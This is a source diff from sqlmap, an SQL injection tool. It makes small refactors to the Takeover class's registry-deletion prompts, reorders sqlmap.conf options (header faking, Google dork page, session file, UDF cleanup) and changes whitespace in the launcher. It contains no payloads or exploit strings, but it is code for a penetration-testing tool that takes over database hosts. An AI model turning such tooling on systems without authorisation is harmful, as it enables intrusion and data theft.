@ -537,7 +514,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.addRegKey(regKey, regVal, regType, regData) self.addRegKey(regKey, regVal, regType, regData)
def regDel(self): def regDel(self):
self.__regInit() self.__regInit()
@ -548,7 +524,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg) regKey = readInput(msg)
if not regKey: if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
else: else:
regKey = conf.regKey regKey = conf.regKey
@ -557,7 +533,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg) regVal = readInput(msg)
if not regVal: if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
else: else:
regVal = conf.regVal regVal = conf.regVal

View File

@ -32,9 +32,9 @@ data =
# HTTP Cookie header. # HTTP Cookie header.
cookie = cookie =
# HTTP Referer header. Useful to fake the HTTP Referer header value at # Ignore Set-Cookie header from response
# each HTTP request. # Valid: True or False
referer = dropSetCookie = False
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value # HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request # at each HTTP request
@ -45,6 +45,10 @@ agent =
# Example: ./txt/user-agents.txt # Example: ./txt/user-agents.txt
userAgentsFile = userAgentsFile =
# HTTP Referer header. Useful to fake the HTTP Referer header value at
# each HTTP request.
referer =
# Extra HTTP headers # Extra HTTP headers
# Note: There must be a space at the beginning of each header line. # Note: There must be a space at the beginning of each header line.
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
@ -372,11 +376,31 @@ regType =
[Miscellaneous] [Miscellaneous]
# Save and resume all data retrieved on a session file.
sessionFile =
# Retrieve each query output length and calculate the estimated time of # Retrieve each query output length and calculate the estimated time of
# arrival in real time. # arrival in real time.
# Valid: True or False # Valid: True or False
eta = False eta = False
# Use google dork results from specified page number
# Valid: integer
# Default: 1
googlePage = 1
# Update sqlmap to the latest stable version.
# Valid: True or False
updateAll = False
# Never ask for user input, use the default behaviour.
# Valid: True or False
batch = False
# Clean up the DBMS by sqlmap specific UDF and tables
# Valid: True or False
cleanup = False
# Verbosity level. # Verbosity level.
# Valid: integer between 0 and 5 # Valid: integer between 0 and 5
# 0: Show only warning and error messages # 0: Show only warning and error messages
@ -386,19 +410,4 @@ eta = False
# 4: Show also HTTP responses headers # 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content # 5: Show also HTTP responses page content
# Default: 1 # Default: 1
verbose = 1 verbose = 1
# Update sqlmap to the latest stable version.
# Valid: True or False
updateAll = False
# Save and resume all data retrieved on a session file.
sessionFile =
# Never ask for user input, use the default behaviour.
# Valid: True or False
batch = False
# Clean up the DBMS by sqlmap specific UDF and tables
# Valid: True or False
cleanup = False

View File

@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import sys import sys
import time import time
import traceback import traceback
import warnings import warnings
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning) warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning)
try: try:
import psyco import psyco
@ -51,7 +49,6 @@ from lib.core.exception import unhandledException
from lib.core.option import init from lib.core.option import init
from lib.parse.cmdline import cmdLineParser from lib.parse.cmdline import cmdLineParser
def modulePath(): def modulePath():
""" """
This will get us the program's directory, even if we are frozen This will get us the program's directory, even if we are frozen
@ -63,7 +60,6 @@ def modulePath():
else: else:
return os.path.dirname(os.path.realpath(__file__)) return os.path.dirname(os.path.realpath(__file__))
def main(): def main():
""" """
Main function of sqlmap when running from command line. Main function of sqlmap when running from command line.
@ -103,6 +99,5 @@ def main():
print "\n[*] shutting down at: %s\n" % time.strftime("%X") print "\n[*] shutting down at: %s\n" % time.strftime("%X")
if __name__ == "__main__": if __name__ == "__main__":
main() main()